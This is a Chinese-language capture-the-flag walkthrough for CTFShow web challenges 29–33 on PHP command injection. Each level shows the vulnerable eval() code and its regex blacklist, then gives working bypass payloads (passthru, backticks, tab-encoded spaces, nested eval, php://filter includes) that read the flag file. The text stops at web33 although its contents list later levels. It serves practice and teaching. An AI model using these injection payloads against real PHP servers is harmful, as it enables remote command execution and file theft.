WEB入门篇--命令执行详细Wp
- 命令执行:
- Web29:
- Web30:
- Web31:
- web32:
- web33:
- web34:
- web35:
- web36:
- web37:
- web38:
CTFShow 平台:https://ctf.show/
命令执行:
Web29:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match():函数执行一个正则表达式匹配。
这里过滤了flag/i
过滤的不是很多就两个所以方法有很多种
?c=system('tac f*');
?c=system("cp fla?.php 1.txt");#然后访问1.txt
ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198}
Web30:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag、system、php
其实还可以使用上面的方法换一个命令执行函数即可。
命令执行函数:passthru、shell_exec、exec
等 其实这里还可以使用反引号 `
`反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
?c=echo `tac f*`;
?c=passthru('tac f*');
ctfshow{c2ef0b5a-047d-4242-8567-daea91a6e06b}
Web31:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里又过滤了cat sort
和空格 可以使用使用空格绕过(%09)
也可也使用&
拼接使用eval
函数可以使用POS
T和GET
其实一样的
c=eval($_GET[cmd]);&cmd=system("tac f*");
?c=echo (`tac%09f*`);
ctfshow{e66df5c7-07fb-4e6e-bcbb-46b209308c9d}
web32:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里又过滤了反斜杠,echo
,分号,括号 这里可以使用include
函数可以不用括号 实现文件包含 配合伪协议 分号可以使用>?
代替
PS:我们只需要知道 过滤了参数可以使用代替进行绕过就行了这是做题的思路 还是很好理解的
php://filter/read=convert.base64-encode/resource=flag.php #伪协议
?c=include_GET[cmd]>?&cmd=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow{22eca81d-7663-4150-bc72-57825852ad03}
web33:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 了双引号